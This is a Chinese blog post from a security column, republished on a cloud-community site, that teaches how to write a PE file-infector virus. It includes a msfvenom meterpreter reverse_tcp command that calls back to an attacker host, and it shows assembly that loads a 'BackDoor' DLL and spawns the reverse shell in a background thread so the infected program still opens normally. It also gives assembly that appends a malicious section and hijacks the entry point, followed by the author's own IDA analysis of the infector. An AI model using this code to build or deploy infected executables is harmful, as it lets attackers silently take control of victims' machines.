前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PE 病毒与 msf 奇遇记

PE 病毒与 msf 奇遇记

作者头像
信安之路
发布2018-08-08 15:39:24
5510
发布2018-08-08 15:39:24
举报
文章被收录于专栏:信安之路信安之路

本文作者:x-encounter

0x01 PE 病毒简介

通俗的讲,PE 病毒就是感染 PE 文件的病毒,通过修改可执行文件的代码中程序入口地址,变为恶意代码的的入口,导致程序运行时执行恶意代码。

我们学习 PE 病毒的目的是为了深入了解 32 位的 PE 结构。

git 链接(上一期的也上传了):

https://github.com/x-encounter/C-code

网盘链接(附带两张图,一个描述各字段偏移的 word 文档):

https://pan.baidu.com/s/1BCDpctJ_EDBdZC7rLF5Twg

老规矩,两张图介绍一下 PE 文件(图片会放到网盘中供大家下载)

这是一张偏移的

这是一张树形的

加上我讲 IAT 时候的一张,一共三张图,对于学习 PE 结构来讲已经够了

0x02 OEP 介绍

OEP 即程序的入口点。为了使 PE 文件执行我们的恶意数据,我们需要修改 OEP,为了不影响受感染 PE 文件的正常运行,我们需要在恶意代码的末尾添加跳转指令跳到原始的 OEP。

OEP 计算公式为:

OEP=OptionalHeader.ImageBase+OptionalHeader.AddressOfEntryPoint

以 Dbgview.exe 为例

OEP=00400000+00015757=00415757

OD 载入 Dbgview.exe

验证我们的计算结果是正确的。

0x03 PE 病毒编写思路

我们的目的是在 PE 文件中添加一个节区,并将 shellcode 插入该数据中,并修改 OEP

1、新建一个节表头,写入各项数据,属性设置为可读可写可执行(SectionHeader.Characteristics = 0xE0000020)

2、修改 optionheader 中 SizeofCode 字段的大小

3、修改 optionheader 中 SizeOfImage 字段的大小

4、修改 fileheader 中 NumberOfSections 的大小

5、向节表数据中写入数据

6、修改 OEP

实验环境

攻击机:kalilinux 生成 32 位反弹 shellcode 目标主机:32 位 winxp、32 位 PE 病毒、32 位目标程序,反弹连接成功 IDE:Vc++6.0

首先获取该 PE 文件的 DOS 头,NT 头,节表头,获取方法在我讲 IAT 那一期已经提过了,一共三种方法,我选择的是通过 fopen,fseek,fread 获取。忘了的话可以前去考古……

节表头的数据结构如下:

代码语言:javascript
复制
 typedef struct _IMAGE_SECTION_HEADER {  BYTE    Name[IMAGE_SIZEOF_SHORT_NAME];  union {      DWORD   PhysicalAddress;      DWORD   VirtualSize; //实际的节表项大小  } Misc;  DWORD   VirtualAddress;//载入内存后的RVA,内存对齐  DWORD   SizeOfRawData;//在磁盘上的大小,文件对齐  DWORD   PointerToRawData;//在文件上的偏移地址  DWORD   PointerToRelocations;  DWORD   PointerToLinenumbers;  WORD    NumberOfRelocations;  WORD    NumberOfLinenumbers;  DWORD   Characteristics;//节表项属性} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

难点在设置新节表头的各项数据需要考虑到对齐,这里要牵扯到内存对齐和文件对齐的概念,在 PE 文件 OptionHeader 中 SectionAlignment 代表节表装入内存后的对齐值、而 FileAlignment 代表节表在文件中的对齐值。

通常情况下 SectionAlignment 的值为 0x1000,也就是 4KB 大小因为 windows 操作系统的内存分页一般为 4KB,FileAlignment 的值一般为 0x200,也就是 512 字节因为磁盘一个扇区即 512 字节

这里插一句题外话,一般情况下,正常的节区 VirtualSize 是小于 SizeOfRawData 的,windows 使用 VirtualSize 和 SizeOfRawData 中的最小值来载入节区数据。但是在 OD1.1 版本中,仅使用 SizeOfRawData 作为节区数据载入大小的标准,当我们把 SizeOfRawData 手动设置为 0x77777777 时,OD1.1 会产生崩溃。OD2 已经修复。

对齐的代码如下:

代码语言:javascript
复制
 //对齐边界int Align(int size, int ALIGN_BASE){    int ret;    int result;    assert( 0 != ALIGN_BASE );     result = size % ALIGN_BASE;    if (0 != result)    //余数不为零,也就是没有整除    {        ret = ((size / ALIGN_BASE) + 1) * ALIGN_BASE;    }    else    {        ret = size;    }    return ret;}   

下一个难点是向节表中插入 shellcode,先用 msf 的 msfvenom 模块生成一个反弹 shell,端口为 1234。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=1234 -f c

在代码中通过 fwrite 函数将生成的 shellcode 添加到新节区中,然后运行病毒,感染 Dbgview.exe 生成一个 Dbgview.exe.exe 的病毒文件,同时 kalilinux 使用 exploit/multi/handler 模块进行监听,在 xp 上运行病毒文件

在 msf 中已经获得 session,可以进行控制了

但是这有一个问题,感染后的程序并没有正常打开,这不是我们想要的,我们理想中的情景应该是程序正常打开,并且还能向 kalilinux 反弹一个连接。造成程序没有打开的原因是:当我们修改 OEP 指向 shellcode 之后,该程序的主线程就是 shellcode 执行的内容,由于这一段 shellcode 是死循环,所以我们在 shellcode 最后加上跳转到原 OEP 的 jmp 指令也无济于事

解决方法:

1、逆向 createThread 函数,修改 shellcode 使 shellcode 在运行时先执行 createThread 将反弹连接作为回调函数放在一个子线程中,调用完 createThread 之后直接 jmp 到原 OEP 即可。

2、我们可以将 shellcode 分两个阶段执行,第一阶段将载入 dll 的 shellcode 和 jmp 原 OEP 的指令添加到新节区中,程序一开始运行就载入我们已经写好的 DLL,第二阶段在 DLL 中调用 createThread 函数使反弹连接的 shellcode作 为子线程的回调函数,当 DLL 被载入执行即可。

我选择第二种

载入 DLL 的汇编语言

代码语言:javascript
复制
      pushad    ;获取kernel32.dll的基址        mov eax, fs:0x30     ;PEB的地址        mov eax, [eax + 0x0c]        mov esi, [eax + 0x1c]        lodsd        mov eax, [eax + 0x08] ;eax就是kernel32.dll的基址        mov edi, eax    ;同时保存kernel32.dll的基址到edi        ;通过搜索 kernel32.dll的导出表查找GetProcAddress函数的地址        mov ebp, eax        mov eax, [ebp + 3ch]        mov edx, [ebp + eax + 78h]        add edx, ebp        mov ecx, [edx + 18h]        mov ebx, [edx + 20h]        add ebx, ebpsearch:        dec ecx        mov esi, [ebx + ecx * 4]        add esi, ebp        mov eax, 0x50746547        cmp [esi], eax      ;比较"PteG"        jne search        mov eax, 0x41636f72        cmp [esi + 4], eax        jne search        mov ebx, [edx + 24h]        add ebx, ebp        mov cx, [ebx + ecx * 2]        mov ebx, [edx + 1ch]        add ebx, ebp        mov eax, [ebx + ecx * 4]        add eax, ebp        ;eax保存的就是GetProcAddress的地址        ;为局部变量分配空间        push ebp        sub esp, 50h        mov ebp, esp        ;查找LoadLibrary的地址  LoadLibraryA        mov [ebp + 40h], eax    ;把GetProcAddress的地址保存到ebp + 40中        ;开始查找LoadLibrary的地址, 先构造"LoadLibrary \0"        push 0x0    ;即'\0'        push DWORD PTR 0x41797261        push DWORD PTR 0x7262694c        push DWORD PTR 0x64616f4c        push esp    ;压入"LoadLibrary\0"的地址        push edi    ;edi:kernel32的基址        call [ebp + 40h]    ;返回值(即LoadLibrary的地址)保存在eax中        mov [ebp + 44h], eax    ;保存LoadLibrary的地址到ebp + 44h        push 0x0        push DWORD PTR 0x726f6f44   ;"Door"        push DWORD PTR 0x6b636142   ;"Back"        push esp                    ;字符串"BackDoor"的地址        call [ebp + 44h]    ;或者call eax        mov esp, ebp        add esp, 0x50        popad

DLL 的结构如下:

将该 dll,感染程序,被感染程序放在一个目录下,运行

如下图:

程序正常打开

shell 反弹成功

0x04 原理分析

将 Release 版的 LoadBackDoor.exe 拖入到 IDA 中,转到 main() 函数

发现一开始程序对参数进行了判断,如果 argv[1] 等于空就退出

紧接着调用 CopyFile,在 CopyFile 上面出现了 .exe 的字符串,可能程序会复制目标程序,并在原来名称的基础上再加 .exe,紧接着调用 fopen 打开新复制的 exe 文件

后面多次调用 fseek 和 fread 函数,通过调用失败时的输出我们可以发现,这是对 PE 文件的有效性进行检验,一般检验 PE 有效性判断开头是不是 MZ,NT 头开头是不是 PE 即可。这里我们可以仔细分析,在 IDA 中添加 IMAGE_DOS_HEADER 和 IMAGE_NT_HEADERS 的结构体,将数据转化一下,如图:

一目了然,此时 var_19C 变量是指向 NTheader 的指针,接着往下看

接着使用偏移的方式赋值,var_196 是 var_19C 偏移 6 的位置,也就是 NT 头偏移 6 字节的位置,我们通过对照表(会放到网盘中供大家下载)可以判断 var_196 是指向 FileHeader 中 NumberOfSections 的指针,以此类推,var_160 是指向 FileHeader 中 FileAlignment 的指针,var_164 是指向 FileHeader 中 SectionAlignment 的指针,var_174 是指向 FileHeader 中 AddressOfEntryPoint 的指针。接着将 var_19C 的值赋给 var_2C,作为循环的判断标准使 var_A4 的值指向最后一个 SectionHeader。

var_28 的值等于 var_160 指向 FileAlignment,作为参数入栈,调用 00401253 处的 call sub_401000,转到该函数领空,按下 F5 键反编译

应该就是对齐的代码了,因为 FileAlignment 作为参数,所以该操作为文件对齐,退出该函数

我们还可以看到调用 strncpy,.ngaut 很有可能就是新建节区的名字了,下面有一大堆对齐函数的调用,肯定是在初始化新节区中的各项数据并对齐,接下来通过 fwrite 函数写入节表头,我就不一一分析了

引起我们注意的是 main 函数的末尾实现了一个无条件的跳转,我们跟进去

发现 sub_401450 处的代码很可疑接着跟进去

只看字符串,我们就可以推测出该函数主要是动态获取 LoadLibrary 和 GetProcAddress 两个函数地址并加载 BackDoor.dll,退出该函数,接着分析

在第一个 fwrite 前面发现了 E9,而且第二次 fwrite 中内容的大小为 4,说明这两个 fwrite 的目的是写入类似于:

jmp address

address 是原 OEP,说明在写入的 shellcode 末尾加了一段无条件跳转,跳向原来程序入口处。

接下来我们把 BackDoor.dll,载入 IDA,看看该 DLL 做了什么

创建了一个线程,转到回调函数中

给 unk_10006030 分配空间,并压栈,转到 unk_10006030,按下 c 键

发现是一段 shellcode,将 shellcode 提取出来放到 scdbg 中分析

我们可以得到该 shellcode 的行为,发起到 IP 地址为 192.168.1.105,端口号为 1234 的连接

分析完毕。

0x05 番外篇:通过汇编写 PE 病毒

本人的汇编是处在能看懂和能模仿的水平,也不放全部代码了,只给大家提供一种思路,假设你已得到目标程序的基址

代码语言:javascript
复制
 ;获取到最后一个节表头        mov [ebp+pe_Header],esi                               ;保存pe_Header指针         mov ecx,[esi+74h]                                     ;得到directory的数目         imul ecx,ecx,8         lea eax,[ecx+esi+78h]                            ;eax=data directory结束地址=节表起始地址         movzx ecx,word ptr [esi+6h]                           ;节数目         imul ecx,ecx,28h                                      ;得到所有节表的大小         add eax,ecx                                           ;节结尾        xchg eax,esi                         ;eax->Pe_header,esi->最后节开始偏移(即病毒节开始处)        mov dword ptr [esi],'.ngaut'                              ;节名.ngaut        mov dword ptr [esi+8],Len                            ;节的实际大小 ;接下来对新节区的各个值进行对齐        mov ebx,[eax+38h]                                     ;节对齐,在内存中节的对齐粒度         mov [ebp+sec_align],ebx        mov edi,[eax+3ch]                                     ;文件对齐,在文件中节的对齐粒度        mov [ebp+file_align],edi        mov ecx,[esi-40+0ch]                           ;上一节的V.addr 40=28H(每个节表大小为28H)        mov eax,[esi-40+8]                                    ;上一节的实际大小         xor edx,edx         div ebx                                               ;除以节对齐         test edx,edx         je loc1        inc eax loc1:         mul ebx                                               ;上一节在内存中对齐后的节大小         add eax,ecx                                   ;加上上一节的V.addr就是新节的起始V.addr         mov [esi+0ch],eax                                     ;保存新section偏移RVA         add eax,Start-Begin                       ;病毒第一行执行代码,并不是在病毒节的起始处        mov [ebp+newEip],eax                                  ;计算新的eip         mov dword ptr [esi+24h],0E0000020h                    ;节属性         mov eax,Len                                      ;计算SizeOfRawData的大小         cdq                                          ;方便除法计算,将EDX所有位设成EAX的最高位        div edi                                               ;计算本节的文件对齐         je loc2        inc eax loc2:         mul edi         mov dword ptr [esi+10h],eax                           ;保存节对齐文件后的大小        mov eax,[esi-40+14h]         add eax,[esi-40+10h]         mov [esi+14h],eax                                     ;PointerToRawData更新        mov [ebp+oldEnd],eax                                  ;病毒代码往HOST文件中的写入点         mov eax,[ebp+pe_Header]         inc word ptr [eax+6h]                                 ;更新节数目         mov ebx,[eax+28h]                                     ;eip指针偏移         mov [ebp+oldEip],ebx                                  ;保存老指针         mov ebx,[ebp+newEip]                                  ;使HOST程序首先执行病毒程序         mov [eax+28h],ebx                                     ;更新指针值         mov ebx,[eax+50h]                                     ;更新ImageSize         add ebx,VirusLen         mov ecx,[ebp+sec_align]        xor edx,edx         xchg eax,ebx         cdq         div ecx         test edx,edx         je loc3        inc eax loc3:        mul ecx         xchg eax,ebx                                          ;还原 eax->pe_Header            mov [eax+50h],ebx       ;确保更新后的Image_Size大小=(原Image_size+病毒长度)对齐后的长度         cld        mov ecx,Len        mov edi,[ebp+oldEnd]        add edi,[ebp+pMem]        lea esi,[ebp+Begin]        rep movsb   ;将病毒代码写入目标文件新建的节中!

0x06 小结

还有一种利用思路是通过将恶意代码插入 PE 文件节与节的空隙中实现的,这种方法不光要考虑对齐,还要考虑 RVA 和 offset 的转换,由于节与节之间的间隙不是很大,所以我们不能够插入反弹 shell 这一类的 shellcode,可以考虑 URLDownloadToFile 和 Winexec 这两个 API。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-04-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 PE 病毒简介
  • 0x02 OEP 介绍
  • 0x03 PE 病毒编写思路
  • 0x04 原理分析
  • 0x05 番外篇:通过汇编写 PE 病毒
  • 0x06 小结
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档